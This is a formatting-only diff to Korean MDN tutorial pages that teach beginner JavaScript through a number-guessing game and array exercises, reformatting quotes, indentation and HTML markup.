+++ b/files/ko/learn/javascript/first_steps/a_first_splash/index.md
@@ -59,21 +59,21 @@ JavaScript에 관한 약간의 이론과, JavaScript가 할 수 있는 일을 
 5. 그 후, 제출한 수가 정답인지 확인.
 6. 만약 정답이라면...
 
-    1. 축하 메시지 보여주기.
-    2. 이후에 플레이어가 다른 숫자를 제출하면 게임이 망가질 수 있으므로 제출을 막기.
-    3. 게임을 다시 시작할 수 있는 컨트롤 보여주기.
+   1. 축하 메시지 보여주기.
+   2. 이후에 플레이어가 다른 숫자를 제출하면 게임이 망가질 수 있으므로 제출을 막기.
+   3. 게임을 다시 시작할 수 있는 컨트롤 보여주기.
 
 7. 만약 오답이고 아직 플레이어 턴이 남아있다면...
 
-    1. 오답임을 알려주고 제출한 숫자가 너무 높았는지 아니면 너무 낮았는지 보여주기.
-    2. 다른 숫자의 제출을 허용하기.
-    3. 턴 숫자를 1 늘리기.
+   1. 오답임을 알려주고 제출한 숫자가 너무 높았는지 아니면 너무 낮았는지 보여주기.
+   2. 다른 숫자의 제출을 허용하기.
+   3. 턴 숫자를 1 늘리기.
 
 8. 만약 오답인데 플레이어 턴이 남아있지 않다면...
 
-    1. 플레이어에게 게임이 끝났음을 알려주기.
-    2. 이후에 플레이어가 다른 숫자를 제출하면 게임이 망가질 수 있으므로 제출을 막기.
-    3. 게임을 다시 시작할 수 있는 컨트롤 보여주기.
+   1. 플레이어에게 게임이 끝났음을 알려주기.
+   2. 이후에 플레이어가 다른 숫자를 제출하면 게임이 망가질 수 있으므로 제출을 막기.
+   3. 게임을 다시 시작할 수 있는 컨트롤 보여주기.
 
 9. 게임을 다시 시작하면 게임 로직과 UI를 완전히 초기화하고 1번으로 돌아가기.
 
@@ -87,9 +87,7 @@ JavaScript에 관한 약간의 이론과, JavaScript가 할 수 있는 일을 
 
 ```html
 <script>
-
   // Your JavaScript goes here
-
 </script>
 ```
 
@@ -100,12 +98,12 @@ JavaScript에 관한 약간의 이론과, JavaScript가 할 수 있는 일을 
 ```js
 let randomNumber = Math.floor(Math.random() * 100) + 1;
 
-const guesses = document.querySelector('.guesses');
-const lastResult = document.querySelector('.lastResult');
-const lowOrHi = document.querySelector('.lowOrHi');
+const guesses = document.querySelector(".guesses");
+const lastResult = document.querySelector(".lastResult");
+const lowOrHi = document.querySelector(".lowOrHi");
 
-const guessSubmit = document.querySelector('.guessSubmit');
-const guessField = document.querySelector('.guessField');
+const guessSubmit = document.querySelector(".guessSubmit");
+const guessField = document.querySelector(".guessField");
 
 let guessCount = 1;
 let resetButton;
@@ -135,8 +133,9 @@ let resetButton;
 - 다음 두 상수는 추측한 숫자를 제출할 때 사용할 양식 텍스트 입력 칸과 제출 버튼의 참조를 저장합니다.
 
   ```html
-  <label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField">
-  <input type="submit" value="Submit guess" class="guessSubmit">
+  <label for="guessField">Enter a guess: </label
+  ><input type="text" id="guessField" class="guessField" />
+  <input type="submit" value="Submit guess" class="guessSubmit" />
   ```
 
 - 마지막 두 변수는 플레이어가 사용한 턴 수인 1과, 지금은 없지만 이 글의 뒤에서 추가할 초기화 버튼의 참조를 저장하기 위해 사용합니다.
@@ -151,7 +150,7 @@ let resetButton;
 
 ```js
 function checkGuess() {
-  alert('I am a placeholder');
+  alert("I am a placeholder");
 }
 ```
 
@@ -179,19 +178,19 @@ JavaScript에서는 연산자로 참/거짓 판별, 수학 계산, 문자열 연
 
 먼저 산술 연산자입니다.
 
-| 연산자 | 이름              | 예제      |
-| ------ | ----------------- | --------- |
-| `+`    | 더하기            | `6 + 9`   |
-| `-`    | 빼기              | `20 - 15` |
-| `*`    | 곱하기            | `3 * 7`   |
-| `/`    | 나누기            | `10 / 5`  |
+| 연산자 | 이름   | 예제      |
+| ------ | ------ | --------- |
+| `+`    | 더하기 | `6 + 9`   |
+| `-`    | 빼기   | `20 - 15` |
+| `*`    | 곱하기 | `3 * 7`   |
+| `/`    | 나누기 | `10 / 5`  |
 
 `+` 연산자는 텍스트 문자열을 합칠 때(프로그래밍에서는 문자열 연결, 결합 등으로 부릅니다)도 사용할 수 있습니다. 아래 코드를 한 줄씩 콘솔에 입력해 보세요.
 
 ```js
-const name = 'Bingo';
+const name = "Bingo";
 name;
-const hello = ' says hello!';
+const hello = " says hello!";
 hello;
 const greeting = name + hello;
 greeting;
@@ -200,15 +199,15 @@ greeting;
 복합 [할당 연산자](/ko/docs/Web/JavaScript/Reference/Operators#할당_연산자)라고 부르기도 하는 단축 연산자도 있습니다. 예를 들어, 새로운 텍스트 문자열을 기존 문자열에 연결하고 그 결과를 반환하려면 아래처럼 `+=` 연산자를 사용할 수 있습니다.
 
 ```js
-let name1 = 'Bingo';
-name1 += ' says hello!';
+let name1 = "Bingo";
+name1 += " says hello!";
 ```
 
 위 코드의 결과는 아래와 동일합니다.
 
 ```js
-let name2 = 'Bingo';
-name2 = name2 + ' says hello!';
+let name2 = "Bingo";
+name2 = name2 + " says hello!";
 ```
 
 [조건](#조건)으로 사용하기 위한 참/거짓 판별에는 [비교 연산자](/ko/docs/Web/JavaScript/Reference/Operators#비교_연산자)를 사용합니다.
@@ -279,31 +278,31 @@ name2 = name2 + ' says hello!';
 function checkGuess() {
   const userGuess = Number(guessField.value);
   if (guessCount === 1) {
-    guesses.textContent = 'Previous guesses: ';
+    guesses.textContent = "Previous guesses: ";
   }
-  guesses.textContent += userGuess + ' ';
+  guesses.textContent += userGuess + " ";
 
   if (userGuess === randomNumber) {
-    lastResult.textContent = 'Congratulations! You got it right!';
-    lastResult.style.backgroundColor = 'green';
-    lowOrHi.textContent = '';
+    lastResult.textContent = "Congratulations! You got it right!";
+    lastResult.style.backgroundColor = "green";
+    lowOrHi.textContent = "";
     setGameOver();
   } else if (guessCount === 10) {
-    lastResult.textContent = '!!!GAME OVER!!!';
-    lowOrHi.textContent = '';
+    lastResult.textContent = "!!!GAME OVER!!!";
+    lowOrHi.textContent = "";
     setGameOver();
   } else {
-    lastResult.textContent = 'Wrong!';
-    lastResult.style.backgroundColor = 'red';
-    if(userGuess < randomNumber) {
-      lowOrHi.textContent = 'Last guess was too low!';
-    } else if(userGuess > randomNumber) {
-      lowOrHi.textContent = 'Last guess was too high!';
+    lastResult.textContent = "Wrong!";
+    lastResult.style.backgroundColor = "red";
+    if (userGuess < randomNumber) {
+      lowOrHi.textContent = "Last guess was too low!";
+    } else if (userGuess > randomNumber) {
+      lowOrHi.textContent = "Last guess was too high!";
     }
   }
 
   guessCount++;
-  guessField.value = '';
+  guessField.value = "";
   guessField.focus();
 }
 ```
@@ -314,7 +313,7 @@ function checkGuess() {
 - 그 아래에는 우리의 첫 번째 조건 코드 블록이 위치합니다. 조건 코드 블록을 활용하면 특정 조건이 참이거나 거짓일 때만 선택적으로 코드를 실행할 수 있습니다. 얼핏 보면 함수처럼 보이기도 하지만 조건 코드 블록은 함수가 아닙니다. 가장 간단한 형태의 조건 코드 블록은 `if` 키워드, 소괄호, 그리고 중괄호로 구성됩니다. 소괄호에는 조건 테스트가 들어가며, 이 테스트가 `true`를 반환하면 중괄호 안의 코드를 실행합니다. 테스트가 `false`를 반환하면 중괄호 안의 코드를 실행하지 않고, 조건 블록 아래 코드로 실행을 넘깁니다. 첫 번째 조건 코드 블록에서는 `guessCount` 변수가 `1`과 일치하는지, 즉 플레이어의 첫 턴인지를 테스트하고 있습니다.
 
   ```js
-  guessCount === 1
+  guessCount === 1;
   ```
 
   이 조건이 참이라면 `guesses` 문단의 텍스트 내용을 `Previous guesses:`로 설정하고, 그렇지 않으면 아무것도 하지 않습니다.
@@ -335,7 +334,7 @@ function checkGuess() {
 다음 코드 한 줄을 `checkGuess()` 함수 아래에 추가하세요.
 
 ```js
-guessSubmit.addEventListener('click', checkGuess);
+guessSubmit.addEventListener("click", checkGuess);
 ```
 
 위 코드는 `guessSubmit` 버튼에 이벤트 수신기를 추가합니다. {{domxref("EventTarget.addEventListener", "addEventListener()")}}는 두 개의 입력 값('인자'라고 부릅니다)을 받는 메서드로, 각각 수신할 이벤트 유형(`click`)을 가리키는 문자열과, 이벤트가 발생하면 실행할 코드(`checkGuess()` 함수)입니다. 참고로 `addEventListener()`에 함수를 제공할 때 괄호를 붙이지 않았습니다.
@@ -350,10 +349,10 @@ guessSubmit.addEventListener('click', checkGuess);
 function setGameOver() {
   guessField.disabled = true;
   guessSubmit.disabled = true;
-  resetButton = document.createElement('button');
-  resetButton.textContent = 'Start new game';
+  resetButton = document.createElement("button");
+  resetButton.textContent = "Start new game";
   document.body.append(resetButton);
-  resetButton.addEventListener('click', resetGame);
+  resetButton.addEventListener("click", resetGame);
 }
 ```
 
@@ -367,19 +366,19 @@ function setGameOver() {
 function resetGame() {
   guessCount = 1;
 
-  const resetParas = document.querySelectorAll('.resultParas p');
+  const resetParas = document.querySelectorAll(".resultParas p");
   for (const resetPara of resetParas) {
-    resetPara.textContent = '';
+    resetPara.textContent = "";
   }
 
   resetButton.parentNode.removeChild(resetButton);
 
   guessField.disabled = false;
   guessSubmit.disabled = false;
-  guessField.value = '';
+  guessField.value = "";
   guessField.focus();
 
-  lastResult.style.backgroundColor = 'white';
+  lastResult.style.backgroundColor = "white";
 
   randomNumber = Math.floor(Math.random() * 100) + 1;
 }
@@ -405,7 +404,7 @@ function resetGame() {
 직접 반복을 시험해보려면 [브라우저 개발자 도구의 JavaScript 콘솔](/ko/docs/Learn/Common_questions/What_are_browser_developer_tools)을 다시 열고, 다음 코드를 입력하세요.
 
 ```js
-const fruits = ['apples', 'bananas', 'cherries'];
+const fruits = ["apples", "bananas", "cherries"];
 for (const fruit of fruits) {
   console.log(fruit);
 }
@@ -426,9 +425,9 @@ for (const fruit of fruits) {
 이제 우리의 숫자 알아맞히기 게임 코드에 포함된 반복을 살펴봅시다. `resetGame()` 함수의 아래 부분에 주목하세요.
 
 ```js
-const resetParas = document.querySelectorAll('.resultParas p');
+const resetParas = document.querySelectorAll(".resultParas p");
 for (const resetPara of resetParas) {
-  resetPara.textContent = '';
+  resetPara.textContent = "";
 }
 ```
 
@@ -451,7 +450,7 @@ guessField.focus();
 우리 코드에서, `guessField` 상수는 HTML의 텍스트 입력 칸을 가리키는 참조를 저장하고 있습니다. 위쪽의 다른 변수 및 상수 선언과 함께 있죠.
 
 ```js
-const guessField = document.querySelector('.guessField');
+const guessField = document.querySelector(".guessField");
 ```
 
 이 참조를 가져오기 위해 {{domxref("document")}} 객체의 {{domxref("document.querySelector", "querySelector()")}} 메서드를 사용하는 모습입니다. `querySelector()`는 하나의 정보 — 참조를 가져오고자 하는 요소를 선택할 수 있는 [CSS 선택자](/ko/docs/Learn/CSS/Building_blocks/Selectors)를 요구합니다.
@@ -473,37 +472,37 @@ guessField.focus();
 3. 콘솔에 `guessField`를 입력하면 변수에 {{htmlelement("input")}} 요소가 저장되어 있는 것을 확인할 수 있습니다. 그리고 콘솔이 여러분의 실행 환경에 존재하는 객체와 변수 이름들을 자동으로 완성해준다는 것도요.
 4. 이제 콘솔에 아래 코드를 입력하세요.
 
-    ```js
-    guessField.value = 'Hello';
-    ```
+   ```js
+   guessField.value = "Hello";
+   ```
 
-    `value` 속성은 입력 칸에 현재 입력된 값을 나타내는 속성입니다. 위의 명령을 실행하면, 입력 칸에 입력된 텍스트가 바뀌게 되죠!
+   `value` 속성은 입력 칸에 현재 입력된 값을 나타내는 속성입니다. 위의 명령을 실행하면, 입력 칸에 입력된 텍스트가 바뀌게 되죠!
 
 5. 콘솔에 `gueesses`를 입력하고 엔터 키로 제출하세요. 콘솔이 변수에 {{htmlelement("p")}}가 저장됐다고 알려줄 겁니다.
 6. 아래 코드를 입력하세요.
 
-    ```js
-    guesses.value
-    ```
+   ```js
+   guesses.value;
+   ```
 
-    브라우저가 `undefined`를 보여줄 겁니다. 문단에는 `value` 속성이 없기 때문입니다.
+   브라우저가 `undefined`를 보여줄 겁니다. 문단에는 `value` 속성이 없기 때문입니다.
 
 7. 문단의 텍스트를 바꾸려면 {{domxref("Node.textContent", "textContent")}} 속성을 사용해야 합니다. 이렇게 해보세요.
 
-    ```js
-    guesses.textContent = 'Where is my paragraph?';
-    ```
+   ```js
+   guesses.textContent = "Where is my paragraph?";
+   ```
 
 8. 더 재밌는 일도 할 수 있습니다. 아래 코드를 한 줄씩 입력해보세요.
 
-    ```js
-    guesses.style.backgroundColor = 'yellow';
-    guesses.style.fontSize = '200%';
-    guesses.style.padding = '10px';
-    guesses.style.boxShadow = '3px 3px 6px black';
-    ```
+   ```js
+   guesses.style.backgroundColor = "yellow";
+   guesses.style.fontSize = "200%";
+   guesses.style.padding = "10px";
+   guesses.style.boxShadow = "3px 3px 6px black";
+   ```
 
-    페이지의 모든 요소에는 `style` 속성이 존재합니다. 이 속성은 해당 요소에 지정한 인라인 CSS 스타일을 모두 담고 있는 객체죠. 이걸 활용하면 JavaScript에서 요소의 CSS 스타일을 동적으로 제어할 수 있습니다.
+   페이지의 모든 요소에는 `style` 속성이 존재합니다. 이 속성은 해당 요소에 지정한 인라인 CSS 스타일을 모두 담고 있는 객체죠. 이걸 활용하면 JavaScript에서 요소의 CSS 스타일을 동적으로 제어할 수 있습니다.
 
 ## 지금은 끝!
 
diff --git a/files/ko/learn/javascript/first_steps/arrays/index.md b/files/ko/learn/javascript/first_steps/arrays/index.md
index 6ce1ed969ceca6..7d00eb5dd80da6 100644
--- a/files/ko/learn/javascript/first_steps/arrays/index.md
+++ b/files/ko/learn/javascript/first_steps/arrays/index.md
@@ -31,10 +31,10 @@ slug: Learn/JavaScript/First_steps/Arrays
 지난 문서에서처럼, 브라우저 개발자 콘솔에 몇몇 예제를 입력함으로써 배열의 진짜 기초에 대해 배워 봅시다. (아래의 콘솔 창을 사용하거나, 당신이 선호하는 [개발자 콘솔](/ko/docs/Learn/Common_questions/What_are_browser_developer_tools)을 사용하면 됩니다.)
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>JavaScript console</title>
     <style>
       * {
@@ -42,7 +42,7 @@ slug: Learn/JavaScript/First_steps/Arrays
       }
 
       html {
-        background-color: #0C323D;
+        background-color: #0c323d;
         color: #809089;
         font-family: monospace;
       }
@@ -76,66 +76,60 @@ slug: Learn/JavaScript/First_steps/Arrays
         line-height: 1.5;
         font-family: monospace;
         padding: 0;
-        background: #0C323D;
+        background: #0c323d;
         color: #809089;
       }
 
       div {
         clear: both;
       }
-
     </style>
-
-</head>
-<body>
-
-</body>
-
-<script>
-var geval = eval;
-function createInput() {
-var inputDiv = document.createElement('div');
-var inputPara = document.createElement('p');
-var inputForm = document.createElement('input');
-
-      inputDiv.setAttribute('class','input');
-      inputPara.textContent = '>';
+  </head>
+  <body></body>
+
+  <script>
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement("div");
+      var inputPara = document.createElement("p");
+      var inputForm = document.createElement("input");
+
+      inputDiv.setAttribute("class", "input");
+      inputPara.textContent = ">";
       inputDiv.appendChild(inputPara);
       inputDiv.appendChild(inputForm);
       document.body.appendChild(inputDiv);
 
-      if(document.querySelectorAll('div').length > 1) {
-
-inputForm.focus();
+      if (document.querySelectorAll("div").length > 1) {
+        inputForm.focus();
       }
 
-      inputForm.addEventListener('change', executeCode);
+      inputForm.addEventListener("change", executeCode);
     }
 
     function executeCode(e) {
       try {
         var result = geval(e.target.value);
-      } catch(e) {
-        var result = 'error — ' + e.message;
+      } catch (e) {
+        var result = "error — " + e.message;
       }
 
-      var outputDiv = document.createElement('div');
-      var outputPara = document.createElement('p');
+      var outputDiv = document.createElement("div");
+      var outputPara = document.createElement("p");
 
-      outputDiv.setAttribute('class','output');
-      outputPara.textContent = 'Result: ' + result;
+      outputDiv.setAttribute("class", "output");
+      outputPara.textContent = "Result: " + result;
       outputDiv.appendChild(outputPara);
       document.body.appendChild(outputDiv);
 
       e.target.disabled = true;
-      e.target.parentNode.style.opacity = '0.5';
+      e.target.parentNode.style.opacity = "0.5";
 
-      createInput()
+      createInput();
     }
 
     createInput();
-
-</script>
+  </script>
 </html>
 ```
 
@@ -147,17 +141,17 @@ inputForm.focus();
 
 1. 쇼핑 목록을 배열에 저장하고 싶다면 다음과 같이 하면 됩니다. 콘솔에 다음 행을 입력하십시오.
 
-    ```js
-    var shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles'];
-    shopping;
-    ```
+   ```js
+   var shopping = ["bread", "milk", "cheese", "hummus", "noodles"];
+   shopping;
+   ```
 
 2. 위의 예제에서, 각 원소는 문자열이지만, 우리는 다양한 데이터 유형을 배열에 저장할 수 있습니다 (문자열, 숫자, 개체, 다른 변수, 심지어 다른 배열). 동일한 형태의 항목만 넣거나 (아래 sequence 처럼) 다양한 형태의 항목을 함께 넣을 수 (아래 random 처럼) 있습니다. 모두 숫자, 문자열 등일 필요는 없습니다. 다음을 입력해보세요.
 
-    ```js
-    var sequence = [1, 1, 2, 3, 5, 8, 13];
-    var random = ['tree', 795, [0, 1, 2]];
-    ```
+   ```js
+   var sequence = [1, 1, 2, 3, 5, 8, 13];
+   var random = ["tree", 795, [0, 1, 2]];
+   ```
 
 3. 다음으로 넘어가기 전 여러분 마음대로 배열을 만들어 보세요.
 
@@ -167,26 +161,26 @@ inputForm.focus();
 
 1. 콘솔에 다음을 입력하세요:
 
-    ```js
-    shopping[0];
-    // returns "bread"
-    ```
+   ```js
+   shopping[0];
+   // returns "bread"
+   ```
 
 2. 단일 배열 항목에 새 값을 제공하여, 배열의 항목을 수정할 수도 있습니다. 한번 해보세요:
 
-    ```js
-    shopping[0] = 'tahini';
-    shopping;
-    // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ]
-    ```
+   ```js
+   shopping[0] = "tahini";
+   shopping;
+   // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ]
+   ```
 
-    <div class="note"><strong>참고</strong>: 전에도 말했지만, 컴퓨터는 숫자를 셀 때 0부터 시작합니다!</div>
+   <div class="note"><strong>참고</strong>: 전에도 말했지만, 컴퓨터는 숫자를 셀 때 0부터 시작합니다!</div>
 
 3. 배열 내부의 배열을 다중배열(multidimensional array)이라고 합니다. 대괄호 두개를 함께 연결하여 다른 배열 안에있는 배열 내부의 항목에 접근 할 수 있습니다.예를 들어 `random` 배열 내부의 세 번째 원소에 접근하려면(앞 섹션 참조) 다음과 같이 할 수 있습니다:
 
-    ```js
-    random[2][2];
-    ```
+   ```js
+   random[2][2];
+   ```
 
 4. 다음 단계로 넘어가기 전에 충분히 배열 예제를 연습해 보세요.
 
@@ -226,97 +220,104 @@ for (var i = 0; i < sequence.length; i++) {
 
 1. {{jsxref("String.prototype.split()","split()")}} 메서드가 어떻게 작동하는지 살펴봅시다. 우선 콘솔에서 아래와 같은 문자열을 만듭니다:
 
-    ```js
-    var myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';
-    ```
+   ```js
+   var myData = "Manchester,London,Liverpool,Birmingham,Leeds,Carlisle";
+   ```
 
 2. 콤마로 분리해 봅시다:
 
-    ```js
-    var myArray = myData.split(',');
-    myArray;
-    ```
+   ```js
+   var myArray = myData.split(",");
+   myArray;
+   ```
 
 3. 마지막으로 새로운 배열의 길이를 찾고 이 배열에서 몇 가지 항목을 검색해 봅시다:
 
-    ```js
-    myArray.length;
-    myArray[0]; // the first item in the array
-    myArray[1]; // the second item in the array
-    myArray[myArray.length-1]; // the last item in the array
-    ```
+   ```js
+   myArray.length;
+   myArray[0]; // the first item in the array
+   myArray[1]; // the second item in the array
+   myArray[myArray.length - 1]; // the last item in the array
+   ```
 
 4. 또한 아래 방법처럼 {{jsxref("Array.prototype.join()","join()")}} 메서드를 사용하여 배열을 다시 문자열로 만들 수 있습니다:
 
-    ```js
-    var myNewString = myArray.join(',');
-    myNewString;
-    ```
+   ```js
+   var myNewString = myArray.join(",");
+   myNewString;
+   ```
 
 5. 배열을 문자열로 변환하는 또 다른 방법은 {{jsxref("Array.prototype.toString()","toString()")}} 메서드를 사용하는 것입니다. `toString()` 은 `join()` 과 달리 매개변수가 필요없어서 더 간단하지만, 더 많은 제한이 있습니다. `join()` 을 사용하면 다른 구분자를 지정할 수 있지만, `toString()` 은 항상 콤마를 사용합니다. (콤마 말고 다른 매개변수를 사용하여 4단계를 실행해 보세요.)
 
-    ```js
-    var dogNames = ['Rocket','Flash','Bella','Slugger'];
-    dogNames.toString(); //Rocket,Flash,Bella,Slugger
-    ```
+   ```js
+   var dogNames = ["Rocket", "Flash", "Bella", "Slugger"];
+   dogNames.toString(); //Rocket,Flash,Bella,Slugger
+   ```
 
 ### 배열에 원소를 추가하고 제거하기
 
 이번엔 배열에 원소를 추가하고 제거하는 방법을 알아볼 차례입니다. 위에서 만든 `myArray` 를 다시 사용하겠습니다. 섹션을 순서대로 진행하지 않았다면 아래와 같은 배열을 만들어주세요:
 
 ```js
-var myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];
+var myArray = [
+  "Manchester",
+  "London",
+  "Liverpool",
+  "Birmingham",
+  "Leeds",
+  "Carlisle",
+];
 ```
 
 먼저, 배열의 맨 끝에 원소를 추가하거나 제거하기 위해 각각 {{jsxref("Array.prototype.push()","push()")}} and {{jsxref("Array.prototype.pop()","pop()")}} 를 사용할 수 있습니다.
 
 1. 먼저 `push()` 를 사용합니다. — 배열의 끝에 추가할 원소를 반드시 하나 이상 포함해야 한다는 점을 기억하고 아래와 같이 따라해보세요:
 
-    ```js
-    myArray.push('Cardiff');
-    myArray;
-    myArray.push('Bradford', 'Brighton');
-    myArray;
-    ```
+   ```js
+   myArray.push("Cardiff");
+   myArray;
+   myArray.push("Bradford", "Brighton");
+   myArray;
+   ```
 
 2. 메서드 호출이 완료되면 배열의 새 길이가 리턴됩니다. 만약 새 배열의 길이를 변수에 저장하고 싶다면, 다음과 같이 할 수 있습니다:
 
-    ```js
-    var newLength = myArray.push('Bristol');
-    myArray;
-    newLength;
-    ```
+   ```js
+   var newLength = myArray.push("Bristol");
+   myArray;
+   newLength;
+   ```
 
 3. 배열의 마지막 원소를 제거하는 방법은 `pop()`으로 매우 간단합니다. 아래와 같이 따라해 보세요:
 
-    ```js
-    myArray.pop();
-    ```
+   ```js
+   myArray.pop();
+   ```
 
 4. 메서드 호출이 완료되면 제거된 원소가 리턴됩니다. 이 원소를 새 변수에 저장하기 위해서, 다음과 같이 할 수 있습니다:
 
-    ```js
-    var removedItem = myArray.pop();
-    myArray;
-    removedItem;
-    ```
+   ```js
+   var removedItem = myArray.pop();
+   myArray;
+   removedItem;
+   ```
 
 {{jsxref("Array.prototype.unshift()","unshift()")}} 와{{jsxref("Array.prototype.shift()","shift()")}}는 `push()` 와 `pop()`과 완전히 동일하게 동작합니다. 다만, 배열의 맨 끝이 아닌 제일 처음 부분의 원소를 추가하거나 제거합니다.
 
 1. 먼저 `unshift()` 를 사용해봅시다:
 
-    ```js
-    myArray.unshift('Edinburgh');
-    myArray;
-    ```
+   ```js
+   myArray.unshift("Edinburgh");
+   myArray;
+   ```
 
 2. 이제 `shift()`를 사용해봅시다!
 
-    ```js
-    var removedItem = myArray.shift();
-    myArray;
-    removedItem;
-    ```
+   ```js
+   var removedItem = myArray.shift();
+   myArray;
+   removedItem;
+   ```
 
 ## 활동적 학습: 상품들 출력하기!
 
@@ -333,18 +334,16 @@ var myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carl
 <h2>Live output</h2>
 
 <div class="output" style="min-height: 150px;">
+  <ul></ul>
 
-<ul>
-
-</ul>
-
-<p></p>
-
+  <p></p>
 </div>
 
 <h2>Editable code</h2>
 
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 410px;width: 95%">
 var list = document.querySelector('.output ul');
@@ -376,109 +375,113 @@ totalBox.textContent = 'Total: $' + total.toFixed(2);
 </textarea>
 
 <div class="playable-buttons">
-<input id="reset" type="button" value="Reset">
-<input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
 var code = textarea.value;
 var userEntry = textarea.value;
 
 function updateCode() {
-eval(textarea.value);
+  eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
-textarea.value = code;
-userEntry = textarea.value;
-solutionEntry = jsSolution;
-solution.value = 'Show solution';
-updateCode();
+reset.addEventListener("click", function () {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = "Show solution";
+  updateCode();
 });
 
-solution.addEventListener('click', function() {
-if(solution.value === 'Show solution') {
-textarea.value = solutionEntry;
-solution.value = 'Hide solution';
-} else {
-textarea.value = userEntry;
-solution.value = 'Show solution';
-}
-updateCode();
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
+    textarea.value = solutionEntry;
+    solution.value = "Hide solution";
+  } else {
+    textarea.value = userEntry;
+    solution.value = "Show solution";
+  }
+  updateCode();
 });
 
-var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);';
+var jsSolution =
+  "var list = document.querySelector('.output ul');\nvar totalBox = document.querySelector('.output p');\nvar total = 0;\nlist.innerHTML = '';\ntotalBox.textContent = '';\n\nvar products = ['Underpants:6.99',\n 'Socks:5.99',\n 'T-shirt:14.99',\n 'Trousers:31.99',\n 'Shoes:23.99'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(':');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + ' — $' + price;\n\n var listItem = document.createElement('li');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = 'Total: $' + total.toFixed(2);";
 var solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
-if (e.keyCode === 9) {
-e.preventDefault();
-insertAtCaret('\t');
-}
+textarea.onkeydown = function (e) {
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret("\t");
+  }
 
-if (e.keyCode === 27) {
+  if (e.keyCode === 27) {
     textarea.blur();
   }
 };
 
 function insertAtCaret(text) {
-var scrollPos = textarea.scrollTop;
-var caretPos = textarea.selectionStart;
-
-var front = (textarea.value).substring(0, caretPos);
-var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
-textarea.value = front + text + back;
-caretPos = caretPos + text.length;
-textarea.selectionStart = caretPos;
-textarea.selectionEnd = caretPos;
-textarea.focus();
-textarea.scrollTop = scrollPos;
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
 }
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
-// We only want to save the state when the user code is being shown,
-// not the solution, so that solution is not saved over the user code
-if(solution.value === 'Show solution') {
-userEntry = textarea.value;
-} else {
-solutionEntry = textarea.value;
-}
+textarea.onkeyup = function () {
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if (solution.value === "Show solution") {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
 
-updateCode();
+  updateCode();
 };
 ```
 
 ```css hidden
 html {
-font-family: sans-serif;
+  font-family: sans-serif;
 }
 
 h2 {
-font-size: 16px;
+  font-size: 16px;
 }
 
 .a11y-label {
-margin: 0;
-text-align: right;
-font-size: 0.7rem;
-width: 98%;
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
 }
 
 body {
-margin: 10px;
-background-color: #f5f9fa;
+  margin: 10px;
+  background-color: #f5f9fa;
 }
 ```
 
@@ -500,18 +503,16 @@ background-color: #f5f9fa;
 ```html
 <h2>Live output</h2>
 <div class="output" style="min-height: 150px;">
+  <input type="text" /><button>Search</button>
 
-<input type="text"><button>Search</button>
-
-<ul>
-
-</ul>
-
+  <ul></ul>
 </div>
 
 <h2>Editable code</h2>
 
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 370px; width: 95%">
 var list = document.querySelector('.output ul');
@@ -554,109 +555,113 @@ if (searchInput.value !== '') {
 </textarea>
 
 <div class="playable-buttons">
